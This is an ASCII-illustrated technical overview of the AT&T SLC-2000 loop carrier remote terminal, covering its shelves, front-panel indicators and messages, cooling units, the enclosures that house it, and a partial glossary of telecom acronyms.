|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| The Remote Terminal |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The SLC‑2000 RT is a modular design usually consisting of the following components:

. Access Resource Manager (ARM) shelf

. Metallic Distribution Assembly (MDS) shelves

. High Density Fiber Optics Shelf (HDOS) shelves (FITL only) . Cooling fans

An SLC‑2000 RT configured for a Metallic Application

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | <‑‑‑‑‑‑‑ Fan unit

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

||||||||||||||||||||||||||||

|:::::::::::::::::::;::;:::| <‑‑\

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| \___ Access Resource Manager (ARM) shelf

|:;;;;;;::;::::::::||||||||| /

|.##||||.|,,,,,,,,,........| <‑‑/

|.##||||' '''''''''|||||||||

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

An SLC‑2000 RT configured for a Fiber In The Loop (FITL) Application

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | <‑‑‑‑‑‑‑ Fan unit

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

||^||^||^||^||^||^||^||^||^| <‑‑‑‑‑‑‑ High Density Optics Shelf (HDOS) #2

||^||^||^||^||^||^||^||^||^|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

||^||^||^||^||^||^||^||^||^| <‑‑‑‑‑‑‑ High Density Optics Shelf (HDOS) #1

||^||^||^||^||^||^||^||^||^|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | <‑‑‑‑‑‑‑ Fan unit

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

||||||||||||||||||||||||||||

|:::::::::::::::::::;::;:::| <‑‑\

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| \___ Access Resource Manager (ARM) shelf

|:;;;;;;::;::::::::||||||||| /

|.##||||.|,,,,,,,,,........| <‑‑/

|.##||||' '''''''''|||||||||

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | | ||||| | | | | | <‑‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS) #4

| | | | ||||| | | | | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | | ||||| | | | | | <‑‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS) #3

| | | | ||||| | | | | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | | ||||| | | | | | <‑‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS) #2

| | | | ||||| | | | | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | | ||||| | | | | | <‑‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS) #1

| | | | ||||| | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SLC‑2000 Shelves |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The SLC‑2000 is divided into a number of shelves, each of which hold circuit cards that are responsible for specific functions within the SLC. Some shelves are found only in COTs, others are found only in RTs, while most shelves are used in both COTs and RTs.

Access Resource Manager (ARM) Shelf

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The ARM shelf provides feeder interface, bandwidth management and circuit maintenance features.

The ARM shelf consists of the following functional component groups:

. User Interface Panel (UIP)

. Integrated Test Head (ITH)

. Provisioning Display Controller (PDC)

. Bandwidth Management Complex

. DS1 distribution

. DS1/VT feeder interfaces

. SONET feeder

The following diagram illustrates the functional components of an ARM shelf:

/<‑‑ ESD ground jack

|/<‑‑ Power Converter Unit

|| /<‑‑ Transmission Signaling Unit

|| | /<‑‑ Analog Measurement Unit

|| | | /<‑‑ Power Amplifier Unit

|| | | | /<‑‑ Craft Access Unit

|| | | | | /<‑‑ System Memory Unit

|| | | | | | /<‑‑ Provisioning and Display Controller

|| | | | | | | /<‑‑ Link to Alarm and Networks

|| | | | | | | | /<‑‑ DS1 interfaces

|| | | | | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|^

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

||P|T| |A|P|C|S|P| |L|D|D|D|D|D|D|D|D|.|.|.|.|.|.|.|.| ||C|S| |M|A|A|M|D| |A|S|S|S|S|S|S|S|S|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| ||U|U| |U|U|U|U|C| |N|1|1|1|1|1|1|1|1| | | | | | | | |

||.|.|.|.|.| |.|.|.|.|.|.|.|.|.|.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|| | | | | | | | | | | | | | | |

/‑> || | | | | | | | | | | | | | | |

| ||.|:|:|:|:|:|:|.|.|:|.|.|.|.|.|.

| ||.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.

/‑| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | || |o|o| | | | | ||| | | | | | | | | |‑‑‑‑‑‑‑‑‑

| | ||.|o|o| | | | | |:|:|:|:|:|:|:|:|:|:|.|.|.|.|.

| \‑> ||.| | | | | | | | |:|:|:|:|:|:|:

| ||.| | | | | | | | | | | | | | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | | | | | | |

| \ / \ \ / / | | \‑‑ Test Head Controller (THC) |

| | \ / | \‑‑ System Controller (SYSCTL) | | | | \‑‑ Overhead Controller (OHCTL) | | | \‑‑ STS‑1 Multiplexer (MXRVO) | | \‑‑‑ Optical Line Interface Unit (OLIU) |

\‑‑ Synchronous Timing Generator (TGS) |

Bandwidth Management Complex ‑‑/

The User Interface Panel (UIP) represents the highest level of interaction possible with the SLC‑2000 without plugging some other piece of equipment into it. Here is a close‑up of the User Interface Panel:

Abnormal ‑‑>\

AMD (Alphanumeric Message Display) ‑‑>\ NE Activity >‑‑\ | Attention ‑‑>\ | Major ‑‑>\ | | Panel Fault ‑‑>\ | | Critical ‑‑>\ | | |

/<‑‑ ESD ground jack | | | | |

| | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | ~=~ ~~~ ~~ ~~ ~~~~~~ | __ ___

| O |________/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |/ |* User Int. Panel | |/ |/ |/ |/ |

| | | __ ~~~

| | = = ooo #### ## :::::: | |/ ^v # # # o# # |/ |/ |/ |/ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

||| ||| | | |||||| | |

||| \|/ | | |||||| | |

\|/ | | | |||||| | |

| | | | |||||| | |

Fuses‑‑>/ | | | |||||| | | | |

Power test | | | |||||| | | | | |

points ‑‑>/ | | |||||| | | | | |

CIT connector ‑‑>/ | |||||| | | | | | |

DDS clock conn. ‑‑>/ |||||| | | | | | | |

DDS Maintenance Jack ‑‑>/||||| | | | | | | | |

DS0 Maintenance Jack ‑‑>/|||| | | | | | | | |

DS1 Maintenance Jack ‑‑>/||| | | | | | | | |

T‑R Maintenance Jack ‑‑>/|| | | | | | | | | |

T1‑R1 Maintenance Jack ‑‑>/| | | | | | | | | |

E&M Maintenance Jack ‑‑>/ | | | | | | | | |

Power ‑‑>/ | | | | | | | | |

Scroll Buttons ‑>/ | | | | | | | | |

Enter ‑‑>/ | | | | | | | |

Escape ‑‑>/ | | | | | | |

LED Test ‑‑>/ | | | | | |

ACO ‑‑>/ | | | | |

Update ‑‑>/ | | | |

Minor ‑‑>/ | | |

Power Minor ‑>/ | |

FE Activity ‑‑>/ |

Session ‑‑>/

There are many connections on the UIP. The Electrostatic Discharge (ESD) ground jack is for a static control wrist strap. The Craft Interface Terminal (CIT) connector is a DB‑25 for plugging in a CIT or a PC running terminal emulation software. The DDS clock connector provides a clock source for test sets. The Power Test Points allow you to monitor the ‑48v power to the unit.

There are many LED's on the UIP. The Attention LED is yellow when the there is something new on the Alphanumeric Message Display (AMD). The Panel Fault LED is red when the UIP is in need of repair. The Power LED is green when ‑48v power is present. The Power Minor LED is yellow when the system is operating on battery power. The Alarm Cut Off (ACO) LED is green when the ACO button has been pressed during an alarm. The Critical LED is red when a failure has caused a loss of service for 128 or more customers. The Major LED is red when a failure has caused a loss of service for 24 or more customers. The Minor LED is yellow when an error exists, but is not causing a loss of service to any customers. The Near End (NE) Activity LED is yellow when the local terminal has some alarm condition. The Far End (FE) Activity LED is yellow when the remote terminal has some alarm condition. The Abnormal LED is yellow when the SLC‑2000 is not in a mode that provides service, such as a test mode. The Session LED is yellow when a technician has a CIT connected to the remote terminal.

The most interesting part of the UIP is the Alphanumeric Message Display (AMD) and the buttons associated with its use. The AMD displays a single 24 character line of text. The scroll buttons may be pushed to move forward and backward through various menu choices. The <Enter> and <Escape> keys work just as you might imagine.

Three types of messages appear on the User Interface Panel (UIP):

. Automatic Messages

. Fault Messages

. Alarm Messages

Automatic Messages are triggered by pressing certain buttons, UIP or PDC unavailability, and SYSCTL installation.

Fault Messages are displayed when the RETRIEVE‑FAULTS command is selected on the UIP.

Alarm Messages are displayed when the RETRIEVE‑ALARMS command is selected on the UIP.

The Automatic Messages are:

. PANEL FAULT

. MN:NE:pdc unavail

. UPDATE: In‑Progress

. UPDATE: done

. SONET SUBSYS UPDATE done

. SYSCTL INITIALIZATION

. SYSCTL EXTENDED INITZN

. SYSCTL EXTND INITZN done

. STATUS ‑LOCAL SONET

. STATUS ‑LOCAL SONET SITE

. STATUS ‑REMOTE SITE 1

. STATUS ‑REMOTE SITE 2

. STATUS ‑REMOTE SITE 3

. STATUS ‑REMOTE SITE 4

. STATUS ‑REMOTE SITE 5

. STATUS ‑REMOTE SITE 6

. STATUS ‑REMOTE SITE 7

. STATUS ‑REMOTE SITE 8

"PANEL FAULT" indicates that the User Interface Panel (UIP) has failed and is unable to communicate with the Provisioning Display Controller (PDC).

"MN:NE:pdc unavail" indicates that the Provisioning Display Controller (PDC) is unable to communicate with the User Interface Panel (UIP) because it has failed, or because software installation on the PDC is in progress.

"UPDATE: In‑Progress" indicates that the UPDATE button has been pressed and that an update is in progress. (See "Update button" below.)

"UPDATE: done" indicates that an Update has been completed in response to the use of the UPDATE button.

"SONET SUBSYS UPDATE done" indicates that an Update has been completed in the SONET subsystem in response to the use of the UPD/INIT button on the SYSCTL.

"SYSCTL INITIALIZATION" appears for 10 seconds after a SYSCTL with working software has been inserted. If the UPD/INIT button on the SYSCTL is pressed while this message is displayed, the SYSCTL will reset all SONET parameters to their factory defaults.

"SYSCTL EXTENDED INITZN" appears after SYSCTL INITIALIZATION has been completed.

"SYSCTL EXTND INITZN done" appears after SYSCTL EXTND INITZN has been completed.

"STATUS ‑LOCAL SONET" indicates the User Interface Panel (UIP) indicators reflect the alarm status of the local system only. The letter "L" is displayed in the SYSCTL 7‑segment display. This occurs when the user toggles the Far‑End Select (FE SEL) button on the SYSCTL.

"STATUS ‑LOCAL SONET SITE" indicates the User Interface Panel (UIP) indicators reflect the combined alarm status of all the SONET network elements at the local site. The SITE ID and a '.' is displayed in the SYSCTL 7‑segment display. This occurs when the user toggles the Far‑End Select (FE SEL) button on the SYSCTL.

"STATUS ‑REMOTE SITE x" indicates the User Interface Panel (UIP) indicators reflect the alarm status of REMOTE SITE x. The number "x" is displayed in the SYSCTL 7‑segment display. This occurs when the user toggles the Far‑End Select (FE SEL) button on the SYSCTL.

There are several other miscellaneous buttons on the UIP. The LED Test button lights up all of the LED's to allow quick identification of burnt out LED's. The Alarm Cut Off (ACO) button shuts off the current alarm condition. The Update button operates much like the "Detect New Hardware" icon in Windows95, except that on the SLC‑2000 it never locks up your system.

Metallic Distribution Shelf (MDS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The MDS provides control and distribution for Data Service 0 (DS0) and Fiber In The Loop (FITL) interfaces.

The following diagram roughly illustrates an MDS shelf assembly in a metallic configuration:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|* AT&T ##== ##== ##== ##== ##== ##== Metallic Distribution Shelf |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~

| :| :| :| :| :| :| :| :| :| *| *| *| *

| :| :| :| :| :| :| :| :| :| *| *| |

|=:|=:|=:|=:|=:|=:|=:|=:|=:| | | |

|=:|=:|=:|=:|=:|=:|=:|=:|=:| *| | |

| || || || || || || || || || || || || |

|!||!||!||!||!||!||!||!||!||!||!||!||!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~

| :| :| :| :| :| :| :| :| :| *| *| *| *

| :| :| :| :| :| :| :| :| :| *| *| |

|=:|=:|=:|=:|=:|=:|=:|=:|=:| | | |

|=:|=:|=:|=:|=:|=:|=:|=:|=:| *| | |

| || || || || || || || || || || || || |

|!||!||!||!||!||!||!||!||!||!||!||!||!|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MDS upper and lower shelves are numbered from bottom to top. On the left and right side of each shelf half are 12 channel units (only 9 are pictured in the ASCII diagram). In the middle of each shelf half are the common units.

The following diagram roughly illustrates an MDS shelf assembly in a Fiber In The Loop (FITL) configuration:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|* AT&T ##== ##== ##== ##== ##== ##== Metallic Distribution Shelf |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AT&T|AT&T|AT&T|AT&T| |~~|~~|~~|~~|~~|~~|AT&T|AT&T|AT&T|AT&T| |

|* |* |* |* | | *| *| *| *

|* |* |* |* | | *| *| |

|* |* |* |* | | | | |

|* |* |* |* | | *| | |

| || | || | || | || | | || || || |

| || | || | || | || | |!||!||!||!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AT&T|AT&T|AT&T|AT&T| |~~|~~|~~|~~|~~|~~|AT&T|AT&T|AT&T|AT&T| |

|* |* |* |* | | *| *| *| *

|* |* |* |* | | *| *| |

|* |* |* |* | | | | |

|* |* |* |* | | *| | |

| || | || | || | || | | || || || |

| || | || | || | || | |!||!||!||!|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

High Density Fiber Optics Shelf (HDOS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The HDOS interfaces between the electrical signals on the MDSs and optical signals on the Multi‑Services Distant Terminals (MSDTs).

The following diagram roughly illustrates an HDOS assembly:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|

|~~|~~|~~|~~| |~~|~~|~~|~~| |~~|~

| | | | | .| | | | | .| |

| | | | | | | | | | | |

| | | | | | | | | | | |

|OU|OU|OU|OU| |OU|OU|OU|OU| |OU|OU|OU|OU| |OU|OU|OU|OU| |

| || || || || || || || || || || ||

| || || || ||PCU|| || || || ||PCU|| || || || ||PCU|| || || || ||PCU||

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 AMP FUSES ‑‑‑‑‑‑‑> == == == == == == == ==

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: An HDOS contains 8 Optical Unit (OU) / Power Conversion Unit (PCU) packs, not 4 as shown in the ASCII diagram.

Alarm and Test Unit (ATU)

~~~~~~~~~~~~~~~~~~~~~~~~~

The ATU panel reports alarms and trouble indicators using audible alarms, visual indicators, and telemetry. In addition, the ATU provides interfaces to the Pair Gain Test Controller (PGTC) and DC bypass pair connections.

An ATU panel looks roughly like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | | |

| | | | | |

| | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is a close‑up of the indicator lights on the far right end of the ATU:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| __ __

Fault ‑‑‑> | |/ |/ | <‑‑ Critical

|

| __ __

Busy ‑‑‑> | |/ |/ | <‑‑ Major

|

| __ __

Power Minor ‑‑‑> | |/ |/ | <‑ Minor

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fan Units and Heat Baffles

~~~~~~~~~~~~~~~~~~~~~~~~~~

Fan units are used in RTs to provide cooling, while COTs use heat baffles for the same purpose.

The fan unit looks in an RT looks something like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|*AT&T .| | | | | | | | | | | | | | | | | | |

| ~* ~~| | | | | | | | | | | | | | | |

|~~ o ~~| | | | | | | | | | | | | | | | | | |

| o ~~| | | | | | | | | | | | | | | | | |

|~ o ~~| | | | | | | | | | | | | | | | | |

| .| | | | | | | | | | | | | | | |

|~o | =============

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A close‑up of the far left end of the fan unit looks like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| *AT&T o |

| +‑‑‑‑‑‑‑‑‑‑+ |

| FAULT * | CHANGE | |

| | FAN | |

|+‑‑‑‑‑‑‑‑+ SPEED | |

||LED O (10 MIN. | |

||TEST TIMEOUT)| |

|+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| 10 ‑ ‑ 212 |

| + O 8 ‑ ‑ 176 |

| 6 ‑ ‑ 140 |

| TEMP 4 ‑ ‑ 104 |

| 2 ‑ ‑ 68 |

| ‑ O 0 ‑ ‑ 32 |

| V F |

| C=10 * V |

| ESD o |

| ORD O |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Where might you find an RT? |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

RTs are found in quite an interesting variety of enclosures, including metal and cast concrete. Some are only large enough to hold the RT, while others are environmentally controlled and large enough to hold the equipment and several working technicians.

. 44A + 44B Cabinets

. WP‑91071 Cabinet

. 51A cabinet

. 80D Cabinet (Community Service Vault)

. 80E Cabinet (Community Service Vault)

. Mini hut

. Maxi hut

. Concrete hut

. Controlled Environment Vault (CEV)

The 44A Cabinet is a wall mounted cabinet that requires a 44B Cabinet to house the powering equipment.

WP‑91071 Cabinet is a stand alone cabinet.

The 51A cabinet is 48" high by 29" wide by 20.5" deep. The 51A cabinet consists of three sections: the front door, the electronics section, and the battery section. The front door is hinged on the left and opens to reveal the electronics section. The electronics section is also hinged on the left, and opens to reveal the battery section.

The 80D Cabinet (Community Service Vault).

The 80E Cabinet (Community Service Vault).

The Mini hut is a prefabricated 6' by 10' by 8' high enclosure.

The Maxi hut, also known as the Electronic Equipment Enclosure (EEE) is a prefabricated 10' by 20' by 8' high environmentally controlled enclosure.

The Concrete Hut is 13' 2" by 7' 7 and 8' 8.5" high. The walls of the Concrete Hut are made of precast concrete and are 4" thick. The inside of the Concrete Hut is ventilated, heated and air conditioned. The Concrete Hut is protected by intrusion alarms, smoke alarms, and high temperature alarms.

The Controlled Environment Vault (CEV) is a precast concrete enclosure designed for installation below ground. The CEV is cast in three parts: the bottom half, the top half, and the entrance hatch. The entrance to a CEV shows a ladder leading down into the enclosure. The CEV is the ultimate in environmental control. In addition to ventilation, heating and optional air conditioning, the CEV also features a gas monitor that senses explosive and toxic gasses, a dehumidifier, and a sump pump. The CEV is lit by four fluorescent lamps backed up by an emergency lamp. The CEV is protected by a gas alarm, a high temperature alarm, a high‑humidity alarm, a power‑loss alarm, a high‑water alarm and an intrusion alarm.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Enclosure | Systems | Dual Channel Banks | Lines |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| 44A+44B Cabinets | 2 | 1 | 192 | | WP‑91071 Cabinet | 4 | 2 | 394 | | 51A Cabinet | 2 | 1 | 192 | | 80D Cabinet | 4 | 2 | 384 | | 80E Cabinet | 8 | 4 | 768 | | Concrete Hut | 32(36) | 16(18) | 3072(3456) | | CEV (16') | 40(44) | 20(22) | 3840(4224) | | CEV (24') | 60(78) | 30(39) | 5760(7488) | | EEE | 72(78) | 36(29) | 6912(7488) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: Number in parenthesis are applicable only to systems using bulk power.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SLC Interface Software |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SLC Glossary |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

A&M Addition and Maintenance

ACO Alarm Cut Off

ACU Alarm Control Unit

ACXT Apparatus Case Crosstalk

ADPCM Adaptive Differential Pulse Code Modulation

ADU Alarm Display Unit

AIU Alarm Interface Unit

ALBO Automatic Line Build Out

ALC Automatic Loss Compensation

ALIT Automatic Line Insulation Test

AMD Alphanumeric Message Display

ANI Automatic Number Identification

ASN Abstract Syntax Notation

ASU Alarm Suppressor Unit

ATU Alarm and Test Unit

AWC Average Worst Case

B‑E Both‑Ends

B8ZS Bipolar with 8 Zero Substitution

BCU Bank Controller Unit

BFU Bank Fuse Unit

BIU Backplane Interface Unit, Bank Interface Unit

BMP Bandwidth Management Processor

CAU Craft Access Unit, Channel Access Unit

CCITT International Telephone and Telegraph Consultative Committee CCS Hundred Call Seconds

CDO Community Dial Office

CDS Circuit Design System

CENTREX Central Office Exchange Service

CEV Controlled Environment Vault

CFU Channel Fuse Unit

CIMAP Circuit Installation and Maintenance Package

CIR Customer Information Release

CIT Craft Interface Terminal

CIU Craft Interface Unit

CLC Common Language Coordinator

CLEI Common Language Equipment Identification

CLF Carrier Line Failure

CLLI Common Language Location Identification

CLRC Circuit Layout Record Card

CMC Construction Management Center

CMIS Common Management Information System

CND Calling Number Delivery

CO Central Office

COACH Customized On‑line Aid for Customer Help

CODEC Coder/Decoder

COE Central Office Engineer

COT Central Office Terminal

CP Circuit Pack

CPC Circuit Provisioning Center

CPI Circuit Party Identification

CRC Cyclic Redundancy Check, Circuit Redundancy Code

CSA Carrier Serving Area

CSC Community Service Cabinet

CSDC Circuit Switched Digital Capability

CSPEC Common Systems Planning and Engineering Center

CSS Controlled Slip Second

CTB Cut Through Board

CTU Channel Test Unit

CU Channel Unit

CUE Channel Unit Emulator

CV Coding Violation

CWG Construction Work Group

CZ Carrier Zone

DA Distribution Area

DACS Digital Access Cross‑connect System

DCC Data Communications Channel

DCLU Digital Carrier Line Unit

DCU Digital Connectivity Units

DDF Digital Digroup Formatter

DDS Digital Data Service

DF Distributing Frame

DFI Digital Facilities Interface

DID Direct Inward Dial

DILEP Digital Line Engineering Program

DLC Digital Loop Carrier

DLI Data Link Interface

DLP Detailed Level Procedure

DLR Design Layout Record

DLS Digital Line Schematic

DLU Data Link Unit

DM Degraded Minute

DPO Dial Pulse Originating

DPT Dial Pulse Terminating

DPX DATAPATH Extension

DR Demand Repeater

DS0 Digital Signal 0, Data Service 0

DS0DP Digital Signal 0 Dataport

DS1 Digital Signal 1 (1.544 MB/s)

DSDC Distribution Services Design Center

DSL Digital Subscriber Line

DSNE Directory Services Network Element

DSPC Distribution Services Planning Center

DST Digital Signal Translator

DSU Data Service Unit

DSX Digital Service Cross‑connect

DT Distant Terminal

DTU Digital Test Unit

E Ear

EASOP Economic Alternative Selection for Outside Plant

ECCR Exchange Customer Cable Record

EEC Electronic Equipment Enclosure

EEC Equipment Engineering Center

EFPA Enhanced Feature Package A

EFPB Enhanced Feature Package B

EFPC Enhanced Feature Package C

EFPD Enhanced Feature Package D

EFRAP Exchange Feeder Route Analysis Program

EJO Engineering Job Order

ELIU Electrical Line Interface Unit

EMO Expected Measured Loss

EOC Embedded Operations Channel

ES Errored Seconds

ESD ElectroStatic Discharge

ESF Extended Super Frame

ESPORTS Extended Super POTS

EWC Extreme Worst Case

EWO Engineering Work Order

FA Feeder Administration

FAC Facility Assignment and Control Center

FACS Facility Assignment and Control System

FAP Facility Analysis Plan

FCS Frame Checking Sequence

FCU Fan Control Unit

FDI Feeder Distribution Interface

FDL Facility Data Link

FE Far End

FELP Far End LooP

FEMF Foreign Potential

FEXT Far End Crosstalk

FITL Fiber In The Loop

FL Fault Locating

FLTA Fault Locate Test Adapter

FPA Feature Package A

FPB Feature Package B

FPC Feature Package C

FPD Feature Package D

FPS Framing Pattern Sequence

FSM Fiber Service Module

FSR Frequency Selective Ringing

FSS Fiber Service Shelf

FTTH Fiber To The Home

FX Foreign Exchange

FXO Foreign Exchange Office

FXS Foreign Exchange Station

GNE Gateway Network Element

GS Ground Start

HDIC High Density Interconnect

HDOS High Density Optics Shelf

HDT Host Digital Terminal

HTR Heater

IBN Integrated Business Network

IDCU Integrated Digital Carrier Unit

IDF Intermediate Distributing Frame

INA Integrated Network Access

IOP Input/Output Processor

ISD Isolation Diagram

